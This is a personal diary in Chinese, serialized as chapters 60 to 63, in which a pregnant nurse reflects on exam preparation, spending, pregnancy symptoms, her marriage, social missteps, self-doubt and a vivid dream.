    今天下了很大的雨。打了雷有闪电。我对这玩意并没有害怕。只是想到了书上写的，打雷的天气会有很多氧气生成。空气会更好。不过家公还有老公在讲一些人害怕的表现，我没有去讲什么。因为我也不知道说什么。房子里的桌子突然改了位置。有点不习惯。
    每一个阶段都有好多事需要做啊！所以希望自己能够撑住吧！
    过五个月左右就需要生宝宝了。我好想把一些钱定存三个月。到了生宝宝的时候再去取出来，那样子就有利息，一点点也好，可是银行卡不记得放哪里了。我需要收拾一下房子，好好找一下。
    今天考试。我考了88分。还好我有两个手机。oppo的手机点不动了。只能换手机。我好不容易那么喜欢这个手机。真的很讨厌换来换去的。还好有两张卡。下一个手机想换华为的。之前买的华为的手机其实还很好用摄像通话之类的都很好，可是我不知道为什么我会喜欢用oppo。用久了就舍不得换了。可是这个手机太卡了运行内存太小了。我想要5g手机。换华为的吧！其实还是不换更好。因为现在又没有那么多钱。手机现在也像奢饰品一样了。动不动就几千块钱。等我们县的5G搞得更好一点再换吧！
    真的很希望我能缓过来啊！太酸了。
    我今天考了88分，通过了考试，很开心。
    我今天买了自己很想吃的李子。虽然买过来吃的时候，并没有感觉到很好吃。但是还是很开心，我买了。
    今天我做完了三百道题，正确率百分之九十一。很厉害??！
    今天我写了文1800字，虽然感觉自己一直在记流水账，可是那些写书的大佬说过他们都是这样子写的，坚持了一天很开心。最近这几天我都有写，虽然并没有每天坚持，很开心我能做下去。
    想起来很久之前我还是胆子很小的人，一直很想做这个事情，也一直都没有勇气和自信。现在终于实现了。尽管内容一般般，质量一般般。但是我自己很满意了。去年我也写了十万字。今年这本书好像也快十万字了吧！真的很不可思议。更不可思议的是我之前连四个字的词语都不会用，现在居然能在自己的文里面用上几个了。我感觉到了我的进步，虽然只是一小步，但是我感觉很开心。
    今天没有去和老公表达各种负能量。挺好的，他的工作也挺忙的，懒得说一些烦恼，让他不爽。这样子做的还不错吧！自己好好消化一下自己的情绪。希望我能好好的学习。能够多翻几页书也是很好的。
    做两天告诉了同事我的学习方法。我认为我的同事是个很棒的人，题目我刷了三遍才有60%以上，而她刷了一遍就有50%以上，她在我眼里是一个非常聪明的人，其实只需要再努力一点点，她就很优秀了。我把我的方法告诉她了。希望她可以以后好好的学习吧！因为她的状态其实还好，可是她会认为我是一个天才或者是一个聪明人，我感觉到了一些情绪。其实我不是个聪明人或者天才，我只是一个普通人而已。学习真的需要重复的学习，多学几遍就会变得很好很好了。这样子做对我感觉没有什么太大的好处，可是我认为这样子很好吧！希望她会变得很优秀。我自己也需要更加的努力学习。用心。我并不想交朋友，因为我吃了她买的果子还一个人情而已。果子很好吃也很贵。我又没有请回她。只能在别的地方还这样子的人情。吃人嘴短，拿人手软。要是交朋友的话，不知道后续需要花多少钱，这不是我能够承担的。而且我们也不是同一个阶层的人，懒得交朋友。
    我为自己的清醒而感到开心。
    我做完了今天的学习强国
    前两天听到同事说车的故事。她们家里大概买了十六万的车。然后车需要保养，然后听说机油的原因导致车子出了问题。我还是蒙里蒙懂的，原来车那么麻烦的啊！花了一万块钱修车，然后建议我们以后买了车一定要去市区的4s店，因为那里的工作人员非常的负责任，质量更好，我们小县城的没有那么好。这个我记住了挺棒的，以后我也有车可以这样子做选择。还有一些骑车的建议。听的津津有味，长见识了呢！
    还有关于怀孕和生宝宝的经验。同事分享了打无痛的事情，建议头胎打无痛分娩。虽然更贵一点，但是真的会非常的舒服。更不会不爽。还有侧切的事，对那个可吸收的线吸收不了，然后不舒服的经历，建议我用不可吸收的线。
    我不知道我需不需要剖腹产，因为我没有怎么锻炼身体。她们在怀孕的时候都会一起散步，每天走。所以身体很棒。我的话，一下班就躺着。很少走也很少锻炼。我很依赖别人带我一起走，我老公他下班好晚，然后我又不交朋友。现在这个年龄段的同事几乎都在想办法挣钱买房，也没有那么多时间。所以要么散步就自己计划好自己执行，要等别人陪我的话等不到的。然后天气要么下雨，要么太热了，懒得。我已经好几个月都没有锻炼身体了。不锻炼身体的话，很担心会不会需要剖腹产。剖腹产更贵一半。而且生完了宝宝还需要多住几天，而且长肉的时候还痛。所以这不划算。可是现在走路也累。脚好痛。反正计划每天走五分钟吧。很容易达到。几乎每天随便走走的路就有了这个时长。挺棒的。我今天就达到了。

 第60章

    下晚班。
    就休息到了下午一点半！然后才去吃东西。终于把我那个锅给刷干净了，倒了一些垃圾，然后洗了一堆的衣服。做完了就更开心一点了。不过我仍然需要刷锅。还有一些锅盖没有刷干净。碗也没有。
    好多衣服都没有洗，还有床单被套需要换了。哎呀家务活真的是总都做不完的。枕头套需要洗。
    今天听了《小狗钱钱》。挺开心的。听了之后我就想攒钱。完成自己的人生目标。
    买了自己喜欢的凳子，还有抱枕。希望到货吧！
    看了富人的捐款故事。有人说好也有人说不好。反正希望是好的吧！真的做一些对社会有价值的事情是很值得的。看了一下心医的视频。原来这个世界那么恐怖。好吧，希望印度疫情早点好。唇亡齿寒。不要波及我们这边。然后看了更早的视频，原来如此。好高的手段。
    以前在小说里也看到过类似的事情，就是人造子宫，然后生的人太多了，每个国家都好多好多人，然后各种资源没办法用，各国领导人就联合起来制造战争，减轻人口压力。没有想到现实世界里居然也会有类似的事情发生。希望疫情早点过去吧！
    希望疫苗每个人都可以打的到。算命的说我能顺顺利利活到六十岁呢！我的前半生他都算的很准呢！希望我的后半生也是一样准！
    今天的胡萝卜骨头汤挺好喝的。记起来了阿婆腿抽筋，希望下次我们回家的时候给她带钙片，腿抽筋确实很难受。和家婆聊天，知道家婆怀老公的时候。腿抽筋。我妈妈怀我的时候有没有不舒服呢。估计也有吧。只是没有讲。因为她们那个年代条件不算好。突然想起来了妈妈的事，这件事都过去很久了。我并不想埋怨她。因为有的时候很多东西都是需要福分的。事与愿违或者其他的不如意，这些都是我没有给她充钱，她没有办法给我这些资源。没有办法自然也就接受这种不如意了。也许现在的生活不算如意。才会去想去希望回到那个时间点扭转局面，可是即使回到了那个时间点，也许也会做一摸一样的事情。因为我匮乏的不是金钱和资源，而是心灵里面的能量。我明白我匮乏什么，我在不断地治疗自己，可是我还没有找到治疗我的心灵的药物。所以我需要找到它。因为我看到了别人的故事。父母不让上学，自己挣钱上学，父母不愿意自己读自己喜欢的专业，然后自己想尽办法去读。然后出来了。所以我没有用很多很多的心灵里面的能量来达成我的人生愿望。这是我自己的选择，我就需要去承担这样子的后果。一切都没有重来的机会。就像小狗钱钱里面一样。渴望。对这件事的渴望，从心灵里面的热爱。能够让自己达成目标。而我需要的也是这个。我需要找到我热爱的。从心灵里面有能量的力量。
    就像衣服一样，碰到了自己喜欢的，买下来。很划算，而买不喜欢的衣服，或者看见不喜欢的衣服，其实这衣服对我来说没有任何价值。花多少钱都是一种损失。
    可是对我来说什么是喜欢呢？我可能分不清吧！感觉所有的事情都差不多吧！
    我需要努力的学习，好好工作坚持下去。一定可以找到的。
    老公在打游戏。玩的开心就好。我突然想起来一个事，看到有人说一个人要么社交要么看书，不然会慢慢的抑郁下去的。对于我来说我让自己开心的方式都是看书看视频。然后感觉到快乐。老公的话就是玩游戏和兄弟聊天感觉到快乐。和放松。所以我们其实都在解决自己心情状态，只是方式不同，没有什么其他的区别。
    吃了几根香蕉，一个黄桃两个油桃。我感觉我吃桃子特别的开心。今天香蕉可能吃多了所以不算很开心吧！下次少吃一点。
    吃了一些李子，李子在街上买的，当时下大雨，然后一个摆摊子的老人卖给我，一斤七块钱。然后买了两斤。旁边的人说好贵。不过我还是买了走了，因为下雨人家也不容易。今天在超市买水果，发现了一摸一样的李子十元三斤。怎么讲呢？毕竟人家摆摊子的也挺辛苦的呢！下次我会去超市买水果吃。但是偶尔的机缘巧合之下还是会去摆摊子的老人那里买东西。毕竟这年头大家生活都不容易。所以没有什么划算与不划算的。你认为值得那么这件事就是值得的。记得小时候看到一个人去买兽皮。去问野人买用了一根针。野人认为那个人是个傻子，卖给他很划算。因为一只野兽他也就用十块石头就打到了，而针需要用很长的时间和精力才能磨出一小点。所以他认为这场交易很值得。然后那个买兽皮的人，他也认为很划算，因为那根针他也就花了两分钱而已，而兽皮在市场上的价值是几千块。他们都认为自己没有吃亏，很划算，互相在心里骂对方傻子。当时也就看看而已，没有什么想法。现在想一想买东西也是这样子的，你认为值得就是值得。与其他的没有关系。
    不过我好喜欢吃水果啊！最近在这笔花销里很大。都没有怎么记账。可是怀孕了不能忍。因为忍住想吃水果的欲望很难受。所以喜欢就吃吧！虽然果糖其实对身体来说也是一种负担。可是不吃对精神上来说又是一种折磨。鱼和熊掌不可兼得。只能在两者之间好好的平衡了。
    今天做了一下考编的题目。150的卷面分，有六十分没有做，简答题太难了，所以没有写，其中的单项选择题还有多项选择题总分数90分，我得了42.5分。考编制的题目果然很难啊！简答题很难回答，不知道为什么我面对这种题目会什么都想不出来的感觉，感觉写什么都有错，或者一看到题目就认为自己不会写。这些题目应该有答题技巧的吧！也是最近我还没有找到答题思路。我需要好好想一想。怎么面对这种题。60分耶！考两门，一门总分150另一门100分。去年考编制的分数线是120分。按这个进度。另一门的分数我平时最好的状态也就是56分的样子。它的分数线可能是两门分数加起来的吧。这样子两门加起来都没有120分的分数线。有点悬。还是需要好好的学习啊！答题思路我需要找一找。毕竟疾病那么多，我不可能每个疾病都非常熟系的，看到出血休克的需要补液建立静脉通路，有创伤的有痛疼的风险，对待疾病有焦虑恐惧的情绪状态，然后还有一些病情观察，如果是危重的，那么需要特级护理，每十五到三十分钟需要观察生命体征，每隔一段时间需要去给患者做一些特定的治疗。总之，题目好难啊！好难也好好学习。主要是学的东西确实有很多不理解，不懂。自己不是很顶尖的人才，有各种各样的自卑的心理状态。希望自己能够用功吧！另外一门，有很多的逻辑上的思考，听人家讲课，就会感觉哦原来如此，而自己做的时候，想法就还行。有的题目也很难理解。最近的题目还是做的太少了，我需要好好的做题。
    做题太累了，就收拾房间，收拾一段房间就做题。或者听书。应该可以让我考一个体面一点的成绩吧！反正也就招一个人，有好多人报考。这段时间看书的收获还是有的，有的药有很多作用。而我只知道一点点，做错了，看解析的话可以明白那些药的其他作用。有的是中药有的是西药，我在这段时间有了一些成长，这也是一个比较好的事情，然后对一些问题有了更多的理解。越发的佩服那些考到编制的人了。因为人家确实懂的比我们多。不管思维上，还是学习上。反正有种从心里面的佩服的五体投地的感觉。端正细节的心态，好好学习。好好努力吧！不虚此行就是最好的收获。
    老公在玩游戏。他说他很担心我会在文章里写他，成天啥事不干，就知道天天玩游戏。其实我内心里有那么一段时间是这样子想的。可是又一想，人本来就是需要交流的。在没有手机和游戏的年代，男人都会出去喝酒聊天，打牌，让自己更开心，而女人在家里做家务，盼望着对方回家，然后又会担心对方有没有出轨之类的。而我面对他不需要担心这个。因为他就在我旁边。也知道他就在和兄弟玩游戏。没有这种患得患失的想法。有一定的安全感。然后其实我也需要社交的，看视频的。我有我的能量获取方式，我也不想花太多的时间在担心这个担心那个上。有这个时间还不如好好学习。学各种杂七杂八的东西也是好的。总有一天它能让我排上用场。而担心的情绪排不上用场。
    晚了，我需要好好休息了。

 第61章

    今天我有点怂啊！今天的班上做了几个题，妈的，根本没有头绪。果然是脑回路清奇。这题目饶的我已经晕了。本着聪明的做题方式，看一下后面有没有自己会的，发现后面的题目更难。还有一些理解题目，啧啧啧，真的是太难了。
    我的天哪，编制果然很难考。今天有一个孕妈，她说她也想考合同工。看一下我看什么书，不过合同工需要看其他书。我已经给她推荐了，希望她做下去考个好成绩吧！
    爷爷去做手术了。我们需要去看一下他。
    最近看了一些负能量满满的视频。我有一些看法。是一些关于职业大学的。考上了职业学校的学生被老师拉的去电子厂打工，而且还抽提成。不合理的休息时间。闹得沸沸扬扬的。我的天哪！社会真的是太可怕了。希望这样子的事以后不要发生。特别是中专大专三本。几乎都这样子。好坑啊！所以希望我弟弟可以考一个好大学吧！千万不要进了这种学校。我还指望弟弟成才给妈妈养老呢！
    真可怕啊！
    我想起了一个亲戚，她比我小两岁。她小的时候会去电子厂打暑假工，一个月六千块钱。暑假就打一个月工，然后攒学费上高中和大学。因为家里也很困难，好多弟弟妹妹。所以她家里人其实不想让她上学，她非常执着的要学习。就考的还好。考上去了。电子厂我也不知道怎么讲吧！反正我错过了，我没有挣到暑假工的钱去上学。因为那个时候我没有去。其实我有这个打算。可是我也不知道我怎么回事，妈妈一直都希望我能打暑假工，可是我和她意见不合，不管她讲什么我都不太愿意听，特别的反对的那种。所以我当年没有去打暑假工，没有挣到钱，也就没有去学习。总的来说，有的工厂它能够让一些小孩子打工，如果对于我来说，来自于并没有什么经济条件的家里来说，真的挺好的，至少可以让我挣到学费。因为不是所有人都是那么幸运的，可以有家长兜着，幸福的长大。不过我的脑子确实是不够聪明。搞不懂为什么学习还行，到了生活里工作里突然和智障一样。有的亲戚说有的人考得到清华北大可是他出来还是一个搬砖的，可能这是八字里面刻好了一生。而我也差不多吧！在我的世界里我可能会很自恋的认为自己很优秀很好，可是在更大的世界里其实我蛮差的，很多人对我的评价都不是很好，其实自己对自己的评价也不是很好。可是仍然会选择自恋。有可能是因为我对自己的否定太多了，所以内心里会选择自恋一下，保护一下我这颗被自己摧残的伤痕累累的心灵。
    回忆起以前。那件事。我只能说曾经的自己确实不算好。可是为什么那个时候的自己不好呢？可能每一个阶段都有自己需要成长的事情。现在的阶段看一看自己也一样不好。
    我没有考到我想要考的证，会计证。我感觉我这辈子都考不到了。因为我并不想从事这份职业。花很多的精力也没有什么用。很大的可能只是浪费时间浪费钱，而且我的内心对自己来说，我很喜欢学习，可是我并不是一个聪明人。在学习的时候我能够懂得老师教的到底是什么，可是在工作和生活里，我就像脑子白痴一样，从来没有学习过。我不太懂，为什么我会有这种状态。也许这是心理问题，实在太复杂了。看了很多的心理课心理知识仍然无法解释为什么会这样子呢？
    也有可能是因为我其实从来没有学懂过。或者是大脑有接收的功能，可是并没有输出的功能。所以学习了等于白学了。可是我又能考得到。。。。真是让人百思不得其解啊！怎么我的脑回路真的就会是如此清奇，老天爷果然是个人才。天下之大，无奇不有。我也是个天生的奇葩。无语，无语。
    妈妈送的红薯干，我没有怎么吃，都发霉了，可是我自己又买了一箱红薯。因为吃红薯我容易放臭屁。所以没有选择吃，可是怀孕了，度娘说怀孕了吃红薯可以让宝宝长的更大，虽然我也不知道科学依据是什么？榴莲和红薯都可以使宝宝长的更大。
    所以吃吧！
    今天去看爷爷了。发现了一个退休老干部。不知不觉扯到了自家领导那里，我一个没有嘴巴把门的人。因为老干部说领导的事，我也听不太懂。只说领导头发很多，很年轻。说了好多好多遍，等我们临走的时候，发现老干部是秃顶。。。。。好尴尬啊！
    我的脑回路果然是清奇。我本来很想好好的记下来。不过怎么想也都是这样子吧！不算很有趣，有点忧伤的感觉，因为我没有考虑老人家的心情。然后察言观色也没有做的很好。也可以感觉到自己的路走的不算特别的远。但是这就是我自己啊没有什么好嫌弃的。
    回家的时候，我说我需要回家洗衣服，老公说带回去洗衣机洗。也就四十八分钟的事。我说洗衣机会把几千块钱的衣服洗坏的，毕竟你又买不起那么好的衣服给我穿。这个还是人家送给我的。等我反应过来的时候，知道自己说错话了。。。
    怎么讲自己呢？我也不知道。可能我真的是一孕傻三年吧！突然变傻了。也有可能这就是我心里的念头。我的内心对物质其实有很多很多的渴望。
    今天算了一下自己的花销，这个月花的好多啊！可是有的钱又是不能节省的。比如我的汤，十块钱一碗，我自己又不会做，在外面吃十元一份，对宝宝的肚子会更好。已经吃了很多了。然后核桃，听说怀孕的时候吃核桃可以给宝宝补磷脂亚麻酸之类的，所以我需要买下来。然后水果也是，不吃心情就不太好。所以需要吃水果。然后怀孕了，裤子需要买新的了，怀孕穿的裤子松紧带比较特别，然后穿上去不勒，所以买了一些裤子衣服。
    感觉自己花的钱都是应该花的，可是又感觉自己花的实在太多了。有点难受。
    突然想起来了，一些事情，已经过了很久了。有一个护士，当年我在实习，她比我小一岁，可是她已经是老师级别的人物了。其他的老师感觉她是个很优秀的人，说需要给她介绍对象。然后我来一句，啊老师你还没有结婚啊，你胖的看起来都像生完了娃一样。后来我听到那位老师在小房间里不开心的说实习生的话，才知道她比我小一岁。然后还想起一个老师，护士，她才二十岁，我叫她阿姨，那天是真的没有休息好，看错了人，本来人家是勤俭节约的人，也不留留海的人，也不怎么穿小裙子，直到我这个人说了以后，她也变得爱化妆打扮了，可是我还是感觉对方并不怎么开心。我每次都对这样子的我自己感觉很无语。因为我根本控制不住我自己。很多时候感觉自己被智障附体了一样。我不知道为什么我会这样子说这样子做。给我带来了很多很多的困惑。
    还有一个小学同学，我们是从小学在一起的朋友，她结婚包了3.66元，那么大一个日子。这个红包包完了好几天才反应过来我到底做了什么。其实我可以加她的微信，没有时间可以包微信红包，然后没有钱可以借钱包出去。因为人情世故如果我看重这个朋友就一定需要来来往往的。可是我不知道怎么回事，包了那么少。搞得我没有心情再去理她。后来的人情世故之类的，也没有怎么打理。总之是一个很奇怪的的事情吧！
    我真的是一个很奇怪的人。为什么我会那么奇怪。其实我也真的不太懂。所以我不太想交朋友，因为每过一段时间就会发生这样子的事情，让我失去这个朋友。也有可能其实发生了这样子的事情，我也能遇见一个不会嫌弃自己的朋友，可是是因为我心里不太敢这样子相信对方，然后也拒绝再一次当别人的朋友而失去了朋友。总之孤独是一个理所应当的事情。真的太奇怪了。
    我和老公在一起聊事情，我不太能懂，大概是比较色一点的事，可是我没能理解。我感觉人生就像一个游戏一样。如果有全息游戏，人可以和任何一个人谈恋爱，在那个游戏里，不伤身不得病，也挺好的。像我们结婚了，可是并没有灵魂伴侣，其实是一件很悲伤的事情。可是如果游戏来了，像我们这种屌丝肯定会沉迷在这种游戏里，毕竟游戏里你可以谈很多的恋爱，现实里还是屌丝一枚，没有妹子没有房子，令人窒息的现实世界，会让人活的越来越绝望的。怎么样都不是最好的。
    今天听书。小狗钱钱。钱是中性的，在幸福的人手里会让人变得更加幸福，在不幸福的人手里会变得不幸福。它只是像放大镜一样而已。而我在想我是一个制造幸福的人还是一个制造不幸福的人呢？我有点楞了神，没有答案。
    我认为我是一个制造不幸福的人。因为我遇到什么事情都会逃避，依赖身边的其他人。然后看到了自己喜欢的事物，我会一个劲的等着那个事到我头上，而不是自己努力争取，等没有到我头上我就会很埋怨别人。然后抱怨天抱怨地。我得到了又不珍惜。就像我买的好看的贵的裙子一样，没买的时候，感觉生活很绝望，我连自己喜爱的裙子都买不起，买了之后两天之内就把裙子搞得脏了洗都洗不干净，认为自己不配穿这么好的裙子。
    所以我拿我的脑子没有办法，哪怕我的理智一直在克制，努力的再努力的，可是也没有什么用。周而复始的这样子而已。我对自己感觉很绝望。因为我改不了自己的样子。可是通过学习，好像又明白自己是什么状态。我遇到了把有序变成无序的程序，在人的身体机制里，有一个部分是积极的有一个部分是消极的。我被消极的我给控制了。所以会这样子吧！这样子也很无奈啊！

 第62章

    我最近睡眠不太好。可能是**在生长，然后好痒，晚上睡得很死，指甲都剪的特别短，可是我的皮还是被我挠烂了。去看医生，原来这是正常现象。用药膏涂一下就好了，然后我对药膏过敏，只能用碘伏。本来很想去科室里请同事拿给我的，后来嫌麻烦，怕人家会问这个问那个，就决定去药房买，一百毫升的碘伏卖十五块钱。那种便宜的碘伏没有卖。早知道还是厚脸皮找同事吧！后来用的时候，发现那种喷雾型的碘伏瓶子一点也不好用。根本喷不到位置，还搞得我一手的碘伏。我的使用体验感很差劲，真的还不如用棉签沾的那种碘伏。
    最近的天气很奇怪，一会儿热一会儿冷。昨天晚上真的热的没法子睡。然后我在这种多变的天气里，流了很多鼻涕。很不舒服。
    然后还有好多蚊子，又不能用蚊香，怕对怀孕有影响。蚊子翁嗡嗡的叫，真的好难受啊！
    晚上发现自己的闹钟没有关，晚班的闹钟，三点多就被闹醒了。然后想睡觉。可是也睡不香。有很多很多的想法，可是又不想说出来。只好自己一个人乐呵。感觉只有晚上的时间才属于我自己的，可是这样子的我越来越像精神病了。老公说晚上看到我一个人笑嘻嘻的，他就感觉很恐怖。可是白天的时候后我是上班的，晚上他在家的时候是他老婆的角色，只有凌晨一点两点，那段时间才属于自己，然后一个劲的回忆着什么。我也忘记我回忆什么了。
    结婚以后比较想单身，可是单身需要面对娘家人，单身也不是活的很爽的，总之都差不多吧！想单身的原因:怀孕了发现自己很多东西都不能吃。然后老公的生活习惯和我的不一样，他晚睡，他习惯吃咸的，我喜欢吃清淡的，我在慢慢适应他。可是我真的不喜欢这样子适应。结婚之前会对性比较好奇。结婚以后感觉连**都没有了。
    昨天晚班。呕吐了很久，把我两天吃的东西都呕掉了。可能是着凉了也有可能是因为吃了铁剂，忘记饭后服用，胃肠道反应很大。因为测了很多次体温，都是三十六度多。然后去找医生看，医生说需要观察一下，因为我除了这些症状又没有什么。开药检查什么的，又不太合适。
    然后又呕吐了一会儿，嘴巴好苦。请老公买水果给我吃。我在上班，没有怎么说清楚就把电话挂了。然后他以为我是下班再吃水果，就一直没有来，还在家里吃好了饭。而我又没有精神，我的内心真的是不太开心，不过我也没有讲他。后来他来了，买的果子不是我特别的喜欢的，本来那个李子我以为会是酸酸的，结果是甜的，吃到我嘴巴里好苦。差不多都吐掉了。然后水蜜桃看起来很贵的样子，吃到嘴巴里没有味道。后来只好再叫老公去买麻辣吃。实在是没有办法，本来怀孕我都从来不吃麻辣的。想了很多原因，可能是天气湿热，我这些天的汗液一直排不出，然后我的身体不舒服，也有可能是着凉了不舒服也有可能是因为吃了铁剂不舒服。还有可能是因为我吃红薯吃生的，不舒服，总之想了很多原因。可是仍然需要无奈的接受这个事实，我吐了。孕吐反应也不知道会不会是这样子，因为我的以前的同事说她怀孕到中期，确实还在吐，而我的话早孕只吐了一次左右吧！现在怀孕中期，也有可能是孕吐反应。反正越吐越清醒，又不会头晕，只是吐的不舒服，然后这个天气仍然需要烤火。不烤就感觉很冷。好神奇的体质啊！我的天哪！前段时间天气有点热，我都穿两件衣服，因为怕自己感冒，现在看别人穿一件衣服，然后我就穿了一件长袖，没有想到还是会感觉冷。下次还是穿两件衣服吧！
    然后湿气确实很重。我的体质是这样子。常年累月的这种身体，其实也采取了一些方法去改进一下，然而并没有什么卵用啊！我并没有长期坚持下去，都只是三天打鱼两天晒网的调理身体。
    等我下班了，然后看到了自己需要补考的卷子，八十分及格，然后我有一门没有八十分，所以就需要补考，本来应该问一下名单是什么的，结果等到了下班才去问同事，因为上班的时候没有思考到这个问题，下次我需要早一点发现问题就问，考虑不要打扰别人休息。其实同事的态度也是超级好的，只是我突然后知后觉想到了这个问题。然后就做卷子，做了一个小时，还是百度搜的，那个新冠病毒的笔记都做了几遍，然后还考了一遍，没想到还需要补考。我的学习效率实在是不高啊！然后百度里的原版ppt还看了几遍，仍然搞不懂为什么。学东西一定需要学出屎来，不然一直都不理解这个内容。
    总之看着百度的原版ppt仍然做题做了一个小时。客观原因可能太晚了吐了，不乐观的原因可能是学习效率不高。我的学习效率一直都不太高，其实我也搞不懂为什么会不高，可能是因为我是个普通人吧！并不是别人眼里的天之骄子。一切都需要努力啊！
    今天碰到了学妹。她和我聊了一下我们曾经的事情，其实有很多关于她的回忆的内容我忘记了。因为在初中学习的时候，我记得我和一个不认识的人聊的很嗨，结果发现认错了人。后来初三毕业的时候，学妹叫了我一下，其实我不认识她，也没有想起来她是谁。但是有这个印象。
    后来就去卫校了，没有想到学妹也去了卫校，她比我晚一届。我们并没有什么交集，直到后来实习，我们一起去人家高中学校蹭饭吃，因为高中食堂的饭菜更便宜。然后我们就一起去，那个时候正好是我最后一个月实习，她第一个月实习。实习的时候我比较欣赏她。因为有的时候想教她什么，我一下子没有反应过来，她会选择自己主动问，我认为她这一个优点非常好。然后那段时间我的性格确实比较单纯，买一些衣服有点贵，可是很喜欢。就买了，然后她告诉我那些衣服的成本其实不算高，很多东西都是虚的，其实好多内容我也忘记，只知道那个时候的自己认为她是个很优秀的人，做事情会积极主动，想办法。对比我的话确实她很优秀。我不知道为什么想起来有点不开心，可能我在优秀的人面前潜意识里会不自觉的自卑。可是我的成长就是慢慢的发现别人的长处与优势，然后客观的评价自己。那个时候的我大概对自己很没有信心。或者其他的原因，总之后来我没有怎么想起来学妹这个人。几乎失去了联系。我并不知道原因是什么？就和我之前的朋友一样，我不知道原因是什么？好像发生了一些事情，让我感觉和她相处没什么毛病，只是不想去相处了。
    这次学妹在问怎么考合同工的事，就是需要努力看书啊！不管自己生了宝宝也好，什么环境也好，总之你如果特别特别的想要得到获取，那么就需要静下来好好学习看书，毕竟卫校的妹子年年都一大把的，人才济济，稍微慢一点，就被别人追过去了。她的周岁才二十三岁，二十八周岁不能考。至少还有好几年的时间。一直努力肯定会有机会的。像儿科的一些护士她们也是生了宝宝，有孩子仍然考到了，有孩子的人比单身的人确实更难考，这个也是考验一个人的意志力，所以她们考到了的人我一直都比较佩服，因为她们的意志力自制力都很棒。像现在的我自己，怀孕了，结婚了，智商下降了，本来智商就不算高，还下降了，看书更是三天打鱼两天晒网。闲的没事，有压力就一个劲的抱怨老公影响了我的生活，自从结婚了，不仅智商意志自制力都大不如以前，还越来越生气。如果单身，那么我面对这次机会。。。。想过吧！可是人又不可能一直单身下去。反正准备好了我会失败，可是失败也需要去选择考试屡败屡战。万一考中了呢？运气是厚积薄发的一种体现。虽然很多人都有天时地利人和，但是这只是我们旁观者人为的而已，我又不是当事人，我怎么知道人家是不是真的就傻不愣登的就能够考上的，其实大部分的人都是努力，至少我是需要努力才能够更好的。那么我也就选择努力就可以了。就像妹妹说的天道酬勤。
    突然想起了妹妹。回忆了一下。感觉妹妹在我的脑海里的样子突然之间不算很好了，我也不知道什么原因，不过仍然希望她可以好好的，我需要告诉她腿上绑好红绳子，因为这个世界真的太魔幻了，我希望她是幸福而幸运的。虽然知道这是我自己没有实现的心愿，但是有一个人可以实现也是好的。最近看了一些勤工俭学的女学生被别人卖到了山区的视频，看的我心里难受。希望妹妹暑假工去我们这边吧！因为外地太危险了。
    还是我自己不够强大啊！如果我很强大的话，在结婚以前我就可以搞定她所有的事情，总的来说我不算很优秀。得想一想办法。暑假工确实很难找。真的可惜我不是哥哥，如果是哥哥我的资源会很多，然后我能帮她很多，可是我不是，然后我从卫校学出来，工资确实不高，然后又各种糟心的事情耽搁了几年，虽然心灵的成长很多，但是在攒钱方面确实需要更多。所以我需要好好努力，想办法。
    老公问我是不是很嫌弃他了，我说是。因为他的一些行为让我感觉他其实不怎么喜欢我，而且嫌弃我了。我也就没有心情了。
    心情的原因很复杂，不知道怎么回事？
    突然想起来了那个我待在一起的小学同学的事了。我突然之间知道自己为什么不喜欢她了。因为有一段时间她和我讲过一些话，让我听了之后心里凉嗖嗖的，每次回忆起来都是心里不舒服的感觉。可是我不知道为什么我会不舒服，她讲的是一个很会做好事的女孩子，被人骗了，然后被拐卖了，。可是有一段时间我又特别的喜欢和她在一起玩，特别特别的喜欢，那段时间我受伤了，她也在安慰我。让我感觉很温暖，总之人是复杂的，多面体一样的，在这一面看到的不是好的，在另一面看到的就是好的，谁也没有办法十全十美面面俱到。
    这件事也压在我的心里很久了，因为后来仍然有一些让我凉嗖嗖的感觉，我已经不记得事情到底怎么回事了，因为我又不是上帝视角，看不清全部的东西。总之，自己不算很美好，有黑暗的一面，其他人也是这样子吧！

 第63章

    今天下晚班。
    一下班吃了碗粉就去买水果了。现在的天气特别的潮湿，买西瓜可以很好的排除湿气。更舒服。
    然后就去超市买了，小超市的西瓜比较大，问店家能不能卖一半给我，然后我看到了他家店里冰箱还有一块切好了的，用保鲜膜包好了，问能不能卖给我，他们说这个放了两天了，准备自己吃，不能买。然后就挑了一个瓜就切了一半买。还买了其他的水果。买到了我心心念念的三华李。还有葡萄，普通的李子。三华李有点酸，普通的李子酸酸甜甜的更好吃，葡萄也比较酸，有可能是因为我吃了西瓜再吃葡萄显得葡萄很酸。桃子买了一个，很大的水蜜桃，皮能撕掉的那种。挺好吃的。付钱的时候我发现这个月的花呗额度被我用完了。五百啊这个月还没有到十五号居然就用了五百。大部分都是买水果和吃东西上了。想省着点花。。。
    今天吃完了水果，就睡着了。做了一个奇怪的梦。
    梦里面我在山里骑自行车。还转了一圈，然后捡到了我掉了的手机。然后一个四十岁左右的男人问我，能不能帮他送一个产妇送的去医院。我看了看我的自行车。然后就过去看了看产妇，发现这是一个八十岁的老奶奶，她的肚子里有了一个小女孩子周围的人都在兴高采烈的吹锣打鼓。然后我说山路崎岖，我们飞过去吧！然后就飞过去了。后面还有黑色的东西在追着我们。梦到了爷爷奶奶他们变成了黑色的课。然后我在找一个地方停下来，结果被人抓住了。我感觉那个是天使，她把我抓住，说要吸收我的能量，我的能量被她吸走了好多，我也变成了和爷爷奶奶一样的黑色。我问她你不是天使吗？为什么还要吸收别人身体里的能量？她没有回答我这个问题。她在我的脑子里搜魂，说要把妹妹的文灵给拿走。她的笑容特别的可怕。然后梦境一转，我变成了黑色的龙，被人宰了，一个小孩子被另一个人奖励了，那个小孩子吃掉了我的肉，就蹦蹦跳跳的去玩了。我就静静地看着这个地方，我认为好奇怪啊！我被人吃了，魂魄也被人拿走了，为什么我的心情却非常的平静，没有什么难受或者悲伤的恐惧额的感情。然后梦境再一次转换场景，梦见了一个白色的灵魂带我去一个地方，我在窗外看着他们做事，他们看起来特别特别的美好，整个人都在发光，我碰了碰窗户，不小心掉了进去，她们的心情很不好，认为我是一个很低级的人。然后我就醒了。
    醒了吃了点水果，腿有点抽筋，早上忘记吃钙片了。补了两颗，本来想吃饭的，又睡着了，梦里面我真的是黑色的灵魂，在看着什么。我也不知道我在看着什么。只知道自己在一片天空之上，看着下面的大地。黑色的自己。是不是最近下雨下的太多了，然后天气太闷热，才梦到这样子的场景，可是感觉天晴更累的样子，因为天太热了，闷热感就更重。唯独下了雨，还是更舒服一点。
